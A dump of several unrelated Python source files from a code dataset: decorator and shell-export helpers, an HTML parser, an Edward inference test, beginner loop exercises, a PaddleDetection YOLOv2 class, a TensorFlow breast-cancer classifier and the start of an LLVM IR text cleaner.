ExportsList(collections.UserList):\n\t\"\"\"\n\tA list like for `__all__` but it can store attributes like `module`\n\t\"\"\"\n\t__slots__ = ('_module', '_file', '_modified', 'is_attr')\n\t\n\tdef clean(self):\n\t\t_data = getattr(self, 'data', [])[:]\n\t\t_data = sorted(set(_data))\n\t\tsetattr(self, 'data', _data)\n\n\t@property\n\tdef modified(self):\n\t\treturn getattr(self, '_modified', None)\n\t\t\n\t@modified.setter\n\tdef modified(self, value):\n\t\tsetattr(self, '_modified', bool(value))\n\t\n\t@classmethod\n\tdef from_module(cls, module):\n\t\timport inspect\n\t\timport os\n\t\tif inspect.ismodule(module):\n\t\t\tklass = cls(os._get_exports_list(module))\n\t\t\tif hasattr(module, '__all__'):\n\t\t\t\tklass.__setattr__('_module', module)\n\t\t\t\tsetattr(module, '__all__', klass)\n\t\t\t\tklass.__setattr__('is_attr', True)\n\t\t\t\tklass.__setattr__('_file', module.__file__ or module.__name__)\n\t\t\treturn klass\n\t\n\t@classmethod\n\tdef from_inspect(cls, obj):\n\t\timport inspect\n\t\timport os\n\t\t_module = inspect.getmodule(obj)\n\t\tif _module:\n\t\t\tklass = cls(os._get_exports_list(_module))\n\t\t\tif hasattr(_module, '__all__'):\n\t\t\t\tklass.__setattr__('_module', _module)\n\t\t\t\tsetattr(_module, '__all__', klass)\n\t\t\t\tklass.__setattr__('is_attr', True)\n\t\t\t\tklass.__setattr__('_file', _module.__file__ or _module.__name__)\n\t\treturn klass\n\n\t@classmethod\n\tdef from_file(cls, filename):\n\t\tmodule = sys.modules.get(inspect.modulesbyfile.get(filename))\n\t\tif module:\n\t\t\treturn cls.from_module(module)\n\t\n\tdef add(self, obj):\n\t\tdef wrapper(*args, **kwargs):\n\t\t\tif obj.__name__ not in self.data:\n\t\t\t\tself.data.append(obj.__name__)\n\t\treturn wrapper\n\t\t\n\n__all__ = ExportsList(['callablestr', 'to_list', 'return_as'])\n\n#def get_all(mod):\n#\treturn os._get_exports_list(mod)\n\n\nfrom twisted.python.reflect import qual\n\n\nclass TraceCalls(object):\n\t\"\"\" Use as a decorator on functions that should be traced. Several\n\t\tfunctions can be decorated - they will all be indented according\n\t\tto their call depth.\n\t\thttps://eli.thegreenplace.net/2012/08/22/easy-tracing-of-nested-function-calls-in-python\n\t\"\"\"\n\t\n\tdef __init__(self, stream=sys.stdout, indent_step=2, show_ret=False):\n\t\tself.stream = stream\n\t\tself.indent_step = indent_step\n\t\tself.show_ret = show_ret\n\t\t\n\t\t# This is a class attribute since we want to share the indentation\n\t\t# level between different traced functions, in case they call\n\t\t# each other.\n\t\tTraceCalls.cur_indent = 0\n\t\n\tdef __call__(self, fn):\n\t\tfrom functools import wraps\n\t\t@wraps(fn)\n\t\tdef wrapper(*args, **kwargs):\n\t\t\tindent = ' ' * TraceCalls.cur_indent\n\t\t\targstr = ', '.join(\n\t\t\t\t\t[repr(a) for a in args] +\n\t\t\t\t\t[\"%s=%s\" % (a, repr(b)) for a, b in kwargs.items()])\n\t\t\tself.stream.write('%s%s.%s(%s)\\n' % (indent, fn.__module__, fn.__name__, argstr))\n\t\t\t\n\t\t\tTraceCalls.cur_indent += self.indent_step\n\t\t\tret = fn(*args, **kwargs)\n\t\t\tTraceCalls.cur_indent -= self.indent_step\n\t\t\t\n\t\t\tif self.show_ret:\n\t\t\t\tself.stream.write('%s--> %s\\n' % (indent, ret))\n\t\t\treturn ret\n\t\t\n\t\treturn wrapper\n\n\n\ndef do_timeit(line, optstr='n:r:tcp:qo', posix=False, strict=False):\n\t\"\"\"\n\t#oo = ip.run_line_magic('timeit', '-n 3 -r 5 -o pass')\n\t###ip.find_magic('timeit')('-n 3 -o pass')\n\t:param line:\n\t:param optstr:\n\t:param posix:\n\t:param strict:\n\t:return:\n\t\"\"\"\n\timport timeit\n\timport time\n\ttimefunc = timeit.default_timer\n\tnumber = int(getattr(opts, \"n\", 0))\n\tdefault_repeat = 7 if timeit.default_repeat < 7 else timeit.default_repeat\n\trepeat = int(getattr(opts, \"r\", default_repeat))\n\tprecision = int(getattr(opts, \"p\", 3))\n\tquiet = 'q' in opts\n\treturn_result = 'o' in opts\n\tif hasattr(opts, \"t\"): timefunc = time.time\n\tif hasattr(opts, \"c\"): timefunc = clock\n\t\n\ttimer = Timer(timer=timefunc)\n\tvar = shell.input_splitter.transform_cell\n\tif cell is None: pass\n\ttc_min = 0.1\n\tcode = shell.compile(timeit_ast, \"<magic-timeit>\", \"exec\")\n\ttc = clock() - t0\n\n\ndef callback(number, time_taken, precision=3):\n\tmsg = \"{num} loops -> {secs:.{prec}g} secs\"\n\tprint(msg.format(num=number, secs=time_taken, prec=precision))\n\n\n#####\n\n\nload_tree = lazyimport('decorated.util.modutil.load_tree')\n\n\ndef requires_class(*types):\n\tdef class_name(obj):\n\t\tfrom twisted.python.reflect import _determineClassName as get_class_name, namedClass, getClass, namedAny, \\\n\t\t\tModuleNotFound\n\t\t\n\t\treturn get_class_name(obj) == types\n\t\n\treturn class_name\n\n\ndef allowed_classes(*names):\n\tdef check_allowed(func):\n\t\tdef wrapped_func(*args, **kwargs):\n\t\t\treturn func(*args, **kwargs)\n\t\t\n\t\twrapped_func.__name__ = func.__qualname__\n\t\treturn wrapped_func\n\t\n\treturn check_allowed\n\n\n__all__.append('accepts')\ndef accepts(*types):\n\tdef check_accepts(f):\n\t\t# assert len(types) == f.__code__.co_argcount\n\t\t\n\t\tdef new_f(*args, **kwds):\n\t\t\tfor (a, t) in zip(args, types):\n\t\t\t\tassert isinstance(a, (types)), \"arg %r does not match %s\" % (a, t)\n\t\t\treturn f(*args, **kwds)\n\t\t\n\t\tnew_f.__name__ = f.__qualname__\n\t\treturn new_f\n\t\n\treturn check_accepts\n\n\ndef return_as(container):\n\tdef decorator(func):\n\t\t@wraps(func)\n\t\tdef wrapped(*args, **kwargs):\n\t\t\treturn container(func(*args, **kwargs))\n\t\treturn wrapped\n\treturn decorator\n\t\n\t\n\n\ndef to_list(func):\n\tdef wrapper(*args, **kwargs):\n\t\treturn list(func(*args, **kwargs))\n\treturn wrapper\n\n\ndef instance_property(func):\n\t\"\"\"Decorator like ``property``, but underlying function is only called once\n\tper instance.\n\n\tSet instance attribute with '_' prefix.\n\t\"\"\"\n\t\n\tdef wrapper(self):\n\t\tattribute_name = '_{}'.format(func.__name__)\n\t\t# do not use hasattr/getattr to avoid problems when overwriting\n\t\t# __getattr__ on a class which also uses instance_property\n\t\ttry:\n\t\t\treturn object.__getattribute__(self, attribute_name)\n\t\texcept AttributeError:\n\t\t\tsetattr(self, attribute_name, func(self))\n\t\t\treturn object.__getattribute__(self, attribute_name)\n\t\n\twrapper.__doc__ = func.__doc__\n\treturn property(wrapper)\n\n\ndef underscore_memoization(func):\n\t\"\"\"\n\t# jedi.cache.underscore_memoization\n\t\n\t\n\tDecorator for methods::\n\n\t\tclass A(object):\n\t\t\tdef x(self):\n\t\t\t\tif self._x:\n\t\t\t\t\tself._x = 10\n\t\t\t\treturn self._x\n\n\tBecomes::\n\n\t\tclass A(object):\n\t\t\t@underscore_memoization\n\t\t\tdef x(self):\n\t\t\t\treturn 10\n\n\tA now has an attribute ``_x`` written by this decorator.\n\t\"\"\"\n\tname = '_' + func.__name__\n\t\n\tdef wrapper(self):\n\t\ttry:\n\t\t\treturn getattr(self, name)\n\t\texcept AttributeError:\n\t\t\tresult = func(self)\n\t\t\tif inspect.isgenerator(result):\n\t\t\t\tresult = list(result)\n\t\t\tsetattr(self, name, result)\n\t\t\treturn result\n\t\n\treturn wrapper\n\n\n__all__.append('attrs')\ndef attrs(**kwds):\n\t\"\"\"@attrs(versionadded=\"2.2\",\n\t\t\t author=\"Guido van Rossum\")\n\t\"\"\"\n\tdef decorate(f):\n\t\tfor k in kwds:\n\t\t\tsetattr(f, k, kwds[k])\n\t\treturn f\n\t\n\treturn decorate\n\ndef is_installed(name, version):\n\treturn True\n\ndef require(name, version=None):\n\tdef decorator(obj):\n\t\t@wraps(obj)\n\t\tdef func_wrapped(*args, **kwargs):\n\t\t\tif is_installed(name, version):\n\t\t\t\treturn obj(*args, **kwargs)\n\t\t\n\t\treturn func_wrapped\n\t\n\treturn decorator\n\n\ndef static_vars(**kwargs):\n\tdef decorator(func):\n\t\tfor key, value in six.iteritems(kwargs):\n\t\t\tsetattr(func, key, value)\n\t\treturn func\n\t\n\treturn decorator\n\n\n# noinspection PyRedeclaration\ndef do_timeit():\n\t\"\"\"-n -r -o\"\"\"\n\tpass\n\n\n# all_runs = timer.repeat(repeat, number)\n# best = min(all_runs) / number\n# worst = max(all_runs) / number\n# timeit_result = TimeitResult(number, repeat, best, worst, all_runs, tc, precision)\n# tc_min = 0.1\n# if not quiet:\n# if worst > 4 * best and best > 0 and worst > 1e-6: print(\"The slowest run took %0.2f times longer than the fastest. This could mean that an intermediate result is being cached.\" % (worst / best))\n# if tc > tc_min: print(\"Compiler time: %.2f s\" % tc)\n\n\n\nclass callablestr(str):\n\t__slots__ = ()\n\t\n\tdef __call__(self):\n\t\treturn self\n\t\nclass callableobj(object):\n\t__slots__ = ()\n\t\n\tdef __call__(self):\n\t\treturn self\n\n\n__toolz_doc = '''\n`compose(f, g, h)(x, y)`` is the same as ``f(g(h(x, y)))``.\n``pipe(data, f, g, h)`` is equivalent to ``h(g(f(data)))``\n\n'''\n\n\n# %%timeit [-n<N> -r<R> [-t|-c] -q -p<P> -o] setup_code\n# opts, stmt = self.parse_options(line,'n:r:tcp:qo', posix = False, strict = False)\n# transform = self.shell.input_splitter.transform_cell\n# object_inspect_mime\n# find_line_magic\n# _get_exc_info\n\n# ip.find_line_magic('timeit')('-n 3 -r 5 -o pass')\n\n__all__.append('YAML_SETTINGS')\nYAML_SETTINGS =dict(default_flow_style=False, canonical=False, indent=4)\n\n\ndef init_osx_clipboard():\n\tdef copy_osx(text):\n\t\tp = subprocess.Popen(['pbcopy', 'w'],\n\t\t stdin=subprocess.PIPE, close_fds=True)\n\t\tp.communicate(input=text.encode('utf-8'))\n\t\n\tdef paste_osx():\n\t\tp = subprocess.Popen(['pbpaste', 'r'],\n\t\t stdout=subprocess.PIPE, close_fds=True)\n\t\tstdout, stderr = p.communicate()\n\t\treturn stdout.decode('utf-8')\n\t\n\treturn copy_osx, paste_osx\n\n\ndef _is_fmt_binary(header):\n\treturn header[:8] == b'bplist00'\n\n\ndef _is_fmt_xml(header):\n\tprefixes = (b'<?xml', b'<plist')\n\tfor pfx in prefixes:\n\t\tif header.startswith(pfx):\n\t\t\treturn True\n\n__all__.append('_is_fmt_pickle')\ndef _is_fmt_pickle(source_or_file):\n\tfrom startups.core import encode\n\timport io\n\tPROTO = chr(128).encode('latin-1')\n\tSTOP = chr(46).encode('latin-1')\n\tif os.path.exists(os.path.abspath(source_or_file)):\n\t\treader = open(source_or_file, 'rb')\n\t\tif reader.readable():\n\t\t\tpeeked = reader.peek(0)\n\t\t\treader.close()\n\t\t\tassert (reader.closed)\n\t\t\tisproto = peeked[:1]\n\t\t\tisstop = peeked[-1:]\n\t\t\treturn ((isproto == PROTO) and (STOP == isstop))\n\t\telse:\n\t\t\treturn io.UnsupportedOperation\n\telse:\n\t\ttry:\n\t\t\tpeeked = encode(source_or_file)\n\t\t\tisproto = peeked[:1]\n\t\t\tisstop = peeked[-1:]\n\t\t\treturn ((isproto == PROTO) and (STOP == isstop))\n\t\texcept TypeError:\n\t\t\treturn \"source could not be read; (is blank?)\"\n\n\nclass Plist(plistlib._InternalDict):\n\t\"\"\"This class has been deprecated. Use dump() and load()\n\tfunctions instead, together with regular dict objects.\n\t\"\"\"\n\t\n\tdef __init__(self, **kwargs):\n\t\tfrom warnings import warn\n\t\twarn(\"The Plist class is deprecated, use the load() and \"\n\t\t \"dump() functions instead\", DeprecationWarning, 2)\n\t\tsuper().__init__(**kwargs)\n\t\n\t@classmethod\n\tdef fromFile(cls, pathOrFile):\n\t\t\"\"\"Deprecated. Use the load() function instead.\"\"\"\n\t\twith plistlib._maybe_open(pathOrFile, 'rb') as fp:\n\t\t\tvalue = plistlib.load(fp)\n\t\tplist = cls()\n\t\tplist.update(value)\n\t\treturn plist\n\t\n\tdef write(self, pathOrFile):\n\t\t\"\"\"Deprecated. Use the dump() function instead.\"\"\"\n\t\twith plistlib._maybe_open(pathOrFile, 'wb') as fp:\n\t\t\tplistlib.dump(self, fp)\n\n\n# todo: make a decorator with arguments that check to see if a module is loaded in the namespace, else loads it\ndef ensure_loaded(func, modules=[]):\n\t# implement check and loading\n\treturn func\n\n\n# from pytz.reference import UTC, Eastern, Central, Mountain, Pacificdef get_now(**kwargs):; import pip.req; import setuptools; import tempfile; cmd(\"\"\"mdfind 'kMDItemTextContent=\"*top-level*\"cd' |uniq|sort\"\"\")c=subprocess.getoutput(\"\"\"mdfind 'kMDItemTextContent=\"*top-level names*\"cd' | uniq| sort\"\"\")from setuptools import command, package_index; ex = temp_dir = tempfile.mkdtemp('-export', 'pip-'); remotes = self.run_command(['config', '--get-regexp', 'remote\\..*\\.url'],show_stdout = False, cwd = location); git_dir = self.run_command(['rev-parse', '--git-dir'], show_stdout=False, cwd=location).strip(); egg_project_name = dist.egg_name().split('-', 1)[0]; current_rev = self.get_revision(location); '.gitmodules'; git remote -v; git show --summary|--name-only|--name-status; git status --ignored|--verbose|--verbose; git add --all\n# ALIAS = 'alias -p | sed s/\"alias \"//g| cut -f 1 -d ='\n\nEXPORTNAMES = 'export | cut -f 3 -d \" \"| cut -f 1 -d ='\nXONSH = ['/Users/kristen/.config/xonsh/config.json', '/etc/xonshrc', '/Users/kristen/.xonshrc']\nXONSH_SHARE = '/Users/kristen/.local/share/xonsh'\n\n\n# BASH = ['/Users/kristen/.bash_profile',\n# '/Users/kristen/.bash_profile_',\n# '/Users/kristen/.bashprofile',\n# '/Users/kristen/.bashrc']\n#\n#\n# EXPORT_LINE = re.compile(r'^\\s*?(?:export)\\s*(?P<variable>.+?)\\s*?=\\s*?[\"]?(?P<value>[^\"]+)[\\s\"]*?\\s*?$', re.UNICODE | re.M)\n# ALIAS_LINE = re.compile(r'^\\s*(?:alias)\\s*(?P<variable>.+?)\\s*?=\\s*?[\\'\\\"](?P<value>[^\\']+)[\\'\\\"]?$',\n# re.MULTILINE | re.UNICODE)\n#\n#\n#\ndef export(file, aslist=False):\n\tfrom os.path import exists\n\tif exists(file):\n\t\tommand = 'source {}; export -p'.format(file)\n\t\tif aslist:\n\t\t\tout = cmd(ommand)\n\t\telse:\n\t\t\tout = output(ommand)\n\treturn out\n\n__all__.append('MANPAGES')\nMANPAGES = callablestr(\n\t\tos.path.expanduser('~/manpages'))\n\n\n#__all__.append('POPEN')\nPOPEN = partial(subprocess.Popen, cwd='/Users/Kristen', universal_newlines=True, stdout=-1, stderr=-1, stdin=-1)\n\nif __name__ == '__main__': print(__file__)\n","sub_path":"startups/helpers/decorators.py","file_name":"decorators.py","file_ext":"py","file_size_in_byte":14546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"354107190","text":"import webbrowser\nimport os\n\nerrorCodes = [\n \"No errors have been detected while parsing\", #0\n \"[ERROR] found an element of type {} closed with an {} tag on line {}\" #1\n \"[ERROR] found an unknown tag type {} on line {}\" #2\n]\n\nhtmltags = [\n \"html\", \"head\", \"body\", \"title\", \"p\", \"b\", \"i\", \"h2\", \"h3\", \"h4\", \"h5\", \"h6\",\n]\n\nclass Component:\n def __init__(self):\n pass\n\n def render(self):\n pass\n\nclass HTML:\n def __init__(self, type=\"dom\"):\n #set elemental properties\n self.type = type\n self.istext = False\n self.textContent = \"\"\n self.isSelfClosing = False\n \n self.children = []\n self.haschildren = False\n \n self.arguments = {}\n \n\ndef HTMLparse(string):\n DOM = HTML()\n DOMHIST = []\n head = DOM\n errors = []\n if not string == \"\":\n string = string.splitlines()\n for lineNumber, tag in enumerate(string):\n content = tag.strip()\n if content[1] != \"!\":#isnt doctype\n if content[0] == \"<\":\n #sepperate args from tag name\n args = content[1:-1].split(\" \", 1)\n tagname = args.pop(0)\n #parse args\n for i, arg in enumerate(args):\n arg = arg.split(\"=\")\n arg[0] = arg[0].strip()\n arg[1] = arg[1].strip()\n arg[1] = arg[1][1:-1]\n args[i] = [arg[0], arg[1]]\n\n else:#handeling strings\n tagname = content\n head.haschildren = True\n txt = HTML(\"text\")\n txt.istext = True\n txt.textContent = tagname\n head.children.append(txt)\n continue\n if tagname[-1] == \"/\": #self closing tags\n head.haschildren = True\n tag = HTML(tagname[0:-1])\n for arg in args:\n tag.arguments[arg[0]] = arg[1]\n tag.isSelfClosing = True\n head.children.append(tag)\n elif tagname[0] != \"/\":#non self closing tags\n head.haschildren = True\n tag = HTML(tagname)\n for i, arg in enumerate(args):\n tag.arguments[i] = arg\n head.children.append(tag)\n DOMHIST.append(head)\n head = head.children[-1]\n else:#closing tag\n if tagname[1:] != head.type:\n errors.append(errorCodes[1].format(head.type, tagname[1:], lineNumber))\n return DOM, errors\n head = DOMHIST.pop()\n return DOM, [errorCodes[0]]\n\ndef printHTMLTree(DOM):\n print(stringifyDOM(DOM))\n\ndef renderString(string, output):\n with open(output, \"w+\") as File:\n File.write(string)\n\n webbrowser.open(f'file://{os.path.realpath(output)}')\n\ndef stringifyDOM(DOM, indent=0):\n htmlstring = \"\"\n for element in DOM.children:\n indentation = \"\"\n for i in range(indent):\n indentation+=\"\\t\"\n\n argstring = \"\"\n for i in range(len(element.arguments)):\n arg = element.arguments[i]\n argstring += f\" {arg[0]} = \\\"{arg[1]}\\\"\"\n\n if element.isSelfClosing:#self closing tag\n htmlstring+=f\"{indentation}<{element.type}{argstring} />\\n\"\n\n elif not element.istext:#non self closing tag\n htmlstring+=f\"{indentation}<{element.type}{argstring}>\\n\"\n htmlstring+=stringifyDOM(element, indent+1)\n htmlstring+=f\"{indentation}</{element.type}>\\n\"\n else:#text\n htmlstring+=f\"{indentation}{element.textContent}\\n\"\n if indent==0:\n return htmlstring.strip()\n else:\n return htmlstring\n\ndef renderDOM(DOM, outputfile):\n htmlstring = stringifyDOM(DOM)\n renderString(htmlstring, outputfile)\n\ndef loadSource(url):\n with open(f\"{url}.html\", \"r+\") as File:\n return File.read()\n\ndef allowTag(*tagnames):\n for tag in tagnames:\n htmltags.append(tag)","sub_path":"htmlgen.py","file_name":"htmlgen.py","file_ext":"py","file_size_in_byte":4266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"188025540","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport edward as ed\nimport numpy as np\nimport tensorflow as tf\n\nfrom edward.models import Normal\n\n\nclass test_klpq_class(tf.test.TestCase):\n\n def test_normalnormal_run(self):\n with self.test_session() as sess:\n x_data = np.array([0.0] * 50, dtype=np.float32)\n\n mu = Normal(loc=0.0, scale=1.0)\n x = Normal(loc=tf.ones(50) * mu, scale=1.0)\n\n qmu_loc = tf.Variable(tf.random_normal([]))\n qmu_scale = tf.nn.softplus(tf.Variable(tf.random_normal([])))\n qmu = Normal(loc=qmu_loc, scale=qmu_scale)\n\n # analytic solution: N(loc=0.0, scale=\\sqrt{1/51}=0.140)\n inference = ed.KLpq({mu: qmu}, data={x: x_data})\n inference.run(n_samples=25, n_iter=100)\n\n self.assertAllClose(qmu.mean().eval(), 0, rtol=1e-1, atol=1e-1)\n self.assertAllClose(qmu.stddev().eval(), np.sqrt(1 / 51),\n rtol=1e-1, atol=1e-1)\n\nif __name__ == '__main__':\n ed.set_seed(42)\n tf.test.main()\n","sub_path":"tests/test-inferences/test_klpq.py","file_name":"test_klpq.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"517064744","text":"# import math\n#\n# def sqrt(x):\n#\n# assert x > 0, \"sqrt(): Trying to find the sqrt of \" + str(x)\n#\n# return math.sqrt(x)\n#\n#\n# print(sqrt(144))\n# print(sqrt(-1))\n\n# x = set([2,4,5,6,7,2,4])\n# print(\"Set is\", x, len(x))\n#\n#\ny = [ (x, x**2, x**3) for x in range(20) if x % 3 != 0]\n\n# y2 = []\n# for x in range(20):\n# if x % 3 != 0:\n# y2.append((x, x**2, x**3))\n#\n#\n# print(y2)\n\n\ndef next(limit, step):\n i = 1 # Closure\n while i <= limit:\n yield(i)\n i += step\n\nvalues = [i+6 for i in range(1,1000000)]\n\nfor x in next(100, 6):\n print(\"X is \", x)\n\n# List Comprehension\n\n# lines = [ line[:-1] for line in lines if line.startswith != '#']\n\n\n\n\n# for name in ['Bob', 'Bill', 'Matilda', 'Mary']:\n# print( name)\n# for num2 in range(3):\n# print(\" B\", num2)\n# print(\" C\")\n# print(\"D\")\n\n\n# for num1 in range(3):\n# for num2 in range(4):\n# print(\"hello\", 'there', end = \" -- \", sep=\";\")\n# print()\n#\n# mpyBy = 6\n# for num in [1,2,3,4,5,6,7,8,9,10,11,12]:\n# product = num * mpyBy\n# print(product, end = ' ')\n\n# print (\"Nested For loops - Version 5\")\n#\n# for rate in [ 12, 14, 16]:\n# row = 'Rate %-2d:' % (rate)\n#\n# for hours in [10, 15, 20, 25]:\n# row = row + '%8d' % (rate * hours)\n#\n# print(row)\n\n# Version 1\nnum_printed_this_line = 0\nno_per_line = 1\nfor x in range(10,55):\n print(x, end= \" \")\n num_printed_this_line += 1\n\n if num_printed_this_line == no_per_line:\n print() #end the current line\n num_printed_this_line = 0 # none printed on the new line (yet)\n no_per_line += 1\n\n\n\n\n","sub_path":"debugging.py","file_name":"debugging.py","file_ext":"py","file_size_in_byte":1650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"645314628","text":"from __future__ import absolute_import\r\nfrom __future__ import division\r\nfrom __future__ import print_function\r\n\r\nfrom ppdet.core.workspace import register, create\r\nfrom .meta_arch import BaseArch\r\nimport paddle\r\nimport paddle.nn as nn\r\nimport paddle.nn.functional as F\r\nfrom ppdet.modeling.ops import batch_norm\r\n\r\n__all__ = ['YOLOv2']\r\n\r\n@register\r\nclass YOLOv2(BaseArch):\r\n __category__ = 'architecture'\r\n __shared__ = ['data_format']\r\n __inject__ = ['post_process']\r\n\r\n def __init__(self,\r\n backbone='DarkNet19',\r\n neck='YOLOv2Neck',\r\n yolo_head='YOLOv3Head',\r\n post_process='BBoxPostProcess',\r\n num_classes = 20,\r\n data_format='NCHW'):\r\n \"\"\"\r\n YOLOv2 network\r\n \"\"\"\r\n super(YOLOv2, self).__init__(data_format=data_format)\r\n self.backbone = backbone\r\n self.neck = neck\r\n self.yolo_head = yolo_head\r\n self.post_process = post_process\r\n self.num_classes = num_classes\r\n \r\n @classmethod\r\n def from_config(cls, cfg, *args, **kwargs):\r\n # backbone\r\n backbone = create(cfg['backbone'])\r\n\r\n # fpn\r\n # kwargs = {'input_shape': backbone.out_shape}\r\n neck = create(cfg['neck'])\r\n\r\n # # head\r\n kwargs = {'input_shape': neck.out_shape}\r\n yolo_head = create(cfg['yolo_head'], **kwargs)\r\n\r\n return {\r\n 'backbone': backbone,\r\n 'neck': neck,\r\n \"yolo_head\": yolo_head,\r\n }\r\n def _forward(self):\r\n body_feats = self.backbone(self.inputs)\r\n neck_feats = self.neck(body_feats)\r\n\r\n if self.training:\r\n yolo_losses = self.yolo_head(neck_feats, self.inputs)\r\n\r\n return yolo_losses\r\n\r\n else:\r\n yolo_head_outs = self.yolo_head(neck_feats)\r\n\r\n bbox, bbox_num = self.post_process(\r\n yolo_head_outs, self.yolo_head.mask_anchors,\r\n self.inputs['im_shape'], self.inputs['scale_factor'])\r\n output = {'bbox': bbox, 'bbox_num': bbox_num}\r\n\r\n return output\r\n\r\n def get_loss(self):\r\n return self._forward()\r\n\r\n def get_pred(self):\r\n return self._forward()\r\n","sub_path":"ppdet/modeling/architectures/yolov2.py","file_name":"yolov2.py","file_ext":"py","file_size_in_byte":2260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"315346174","text":"# 실습\n# iris.npy를 가지고 텐서플로 코딩을 하시오.\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\nimport random\nimport numpy as np\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import MinMaxScaler, StandardScaler\n'''\n# W1 = tf.get_variable(\"W1\", shape=[?, ?], initializer=tf.random_uniform_initializer())\n# └ get_variable은 적용한 대상만 variable 초기화\n# b1 = tf.variable(tf.random_normal([512]))\n# L1 = tf.nn.relu(tf.matmul(X, W1) + b1)\n# L1 = tf.nn.dropout(L1, leep_prob=keep_prob)\n\ntf.constant_initializer()\ntf.zeros_initializer() ->\ntf.random_uniform_initializer()\ntf.random_normal_initializer()\ntf.contrib.layers.xavier_initializer() # 평균적으로 성능 우수\n\n\n적용해보기\n'''\nnb_classes = 3\n\n\ntf.set_random_seed(777) # for reproducibility\n\nfrom tensorflow.examples.tutorials.mnist import input_data\n\n\ncancer = np.load('./data/breast_cancer.npy')\n\ncancer_x = cancer[:, :-1]\ncancer_y = cancer[:, [-1]]\n\n\n\nx_train, x_test, y_train, y_test = train_test_split(\n cancer_x, cancer_y, test_size=0.3\n)\n\n\nscaler = MinMaxScaler()\n# scaler = StandardScaler()\nscaler.fit(x_train)\nx_train = scaler.transform(x_train)\nx_test = scaler.transform(x_test)\n\n# print(mnist.train.images)\n# print(mnist.test.labels)\n# print(mnist.train.images.shape)\n# print(mnist.test.labels.shape)\n# print(type(mnist.train.images))\n\n#################################################\n#### 코딩하시오. X, Y, W, b, hypothesis, cost, train\n#######################################################\nX = tf.placeholder(tf.float32, shape=[None, 30])\nY = tf.placeholder(tf.float32, shape=[None, 1])\n\n\nL1 = tf.layers.dense(X, 15, activation=tf.nn.relu)\nL2 = tf.layers.dense(L1, 30, activation=tf.nn.relu)\nL3 = tf.layers.dense(L2, 1, activation=tf.nn.sigmoid)\n\n# layer1, next_input_dim = create_sigmoid_layer(X, 4, 10, weight_name=\"weight1\", bias_name=\"bias1\")\n# layer2, next_input_dim = create_sigmoid_layer(layer1, next_input_dim, 10, weight_name=\"weight2\", bias_name=\"bias2\")\n# W = tf.get_variable(\"weight_last\", shape=[next_input_dim, 3], initializer=tf.contrib.layers.xavier_initializer())\n# b = tf.Variable(tf.random_normal([3]), name=\"bias_last\")\n# hypothesis = tf.nn.softmax(tf.matmul(layer2, W) + b)\n\n\n\ncost = -tf.reduce_mean(Y * tf.log(L3) + (1 - Y) * tf.log(1 - L3))\ntrain = tf.train.GradientDescentOptimizer(learning_rate=0.01).minimize(cost)\n\nprediction = tf.cast(L3 > 0.5, dtype = tf.float32)\naccuracy = tf.reduce_mean(tf.cast(tf.equal(prediction, Y), dtype = tf.float32))\n\n\n# prarameters\nnum_epochs = 3000\nbatch_size = 1\nnum_iterations = int(x_train.shape[0]/ batch_size) # batch_size에 따른 반복횟수\n\nwith tf.Session() as sess:\n\n # sess.run(tf.global_variables_initializer())\n\n # for step in range(3001):\n # cost_val, _ = sess.run([cost, train], feed_dict={X: x_train, Y: y_train})\n # if step % 10 == 0:\n # print(step, cost_val)\n \n # # Predict, Accuracy\n # h, c, a = sess.run( [L3, prediction, accuracy],\n # feed_dict={X: x_test, Y: y_test})\n # print('◎ Accuracy:', a) # ◎ Accuracy: 0.9649123\n\n # Initialize TensorFlow variables\n sess.run(tf.global_variables_initializer())\n # Traing cycle\n # w_, b_= sess.run([W, b])\n # print(w_, b_)\n \n for epoch in range(num_epochs):\n avg_cost = 0\n # for i in range(num_iterations):\n # batch_xs = x_train[i * batch_size: (i+1) * batch_size]\n # batch_ys = y_train[i * batch_size: (i+1) * batch_size]\n # _, cost_val = sess.run([train, cost], feed_dict={X: batch_xs, Y:batch_ys})\n # avg_cost += cost_val / num_iterations\n \n # print(\"Epoch: {:04d}, Cost: {:.9f}\".format(epoch + 1, avg_cost))\n _, cost_val, acc_val = sess.run([train, cost, accuracy], feed_dict={X:x_train, Y: y_train})\n\n if epoch % 100 == 0:\n print(\"Step: {:5}\\tCost: {:.9f}\\tAcc:{:.5%}\".format(epoch, cost_val, acc_val))\n\n print(\"Learning finished\")\n\n # Test the model using test sets\n print(\n \"Accuracy: \",\n accuracy.eval(\n session=sess, feed_dict={X:x_test, Y:y_test}\n ),\n )\n\n pred = sess.run(tf.argmax(L3, 1), feed_dict={X: x_test})\n # y_data: (N, 1) = flatten => (N, ) matches pred.shape\n for p, y in zip(pred, y_test.flatten()):\n print(\"[{}] Prediction: {} True Y: {}\".format(p == int(y), p, int(y))) \n\n'''\nAccuracy: 0.98245615\n'''","sub_path":"tf/Day190823/tf20_cancer_20.py","file_name":"tf20_cancer_20.py","file_ext":"py","file_size_in_byte":4478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"279737012","text":"import numpy\nfrom gensim import corpora, models, similarities\nfrom gensim.corpora import dictionary\nfrom sklearn.feature_extraction.text import TfidfVectorizer, TfidfTransformer\nfrom tabulate import tabulate\nimport time\nimport functools\nimport pandas as pd\nimport re\nimport os\nimport string\nimport random\n\nclass MyCorpus(object):\n \"\"\" Helper class for the gensim-based TF-IDF extraction \"\"\"\n\n def randomString(self, stringLength=10):\n \"\"\"Generate a random string of fixed length \"\"\"\n letters = string.ascii_lowercase\n return ''.join(random.choice(letters) for i in range(stringLength))\n\n def clean_IR(self,block):\n #remove volatile, unreachable and alignments\n block=block.replace('volatile', '').replace('unreachable','').replace('(align)(\\s)(\\d+)','').replace('(align)(\\d+)','').replace('icmp',self.randomString())\n\n #fix aligns\n block=block.replace('align ', 'align')\n #clean metadata flags\n block = re.sub(r'(,)(\\s+)(!)((?:[a-z][a-z0-9_]*))', \"\", block)\n block = 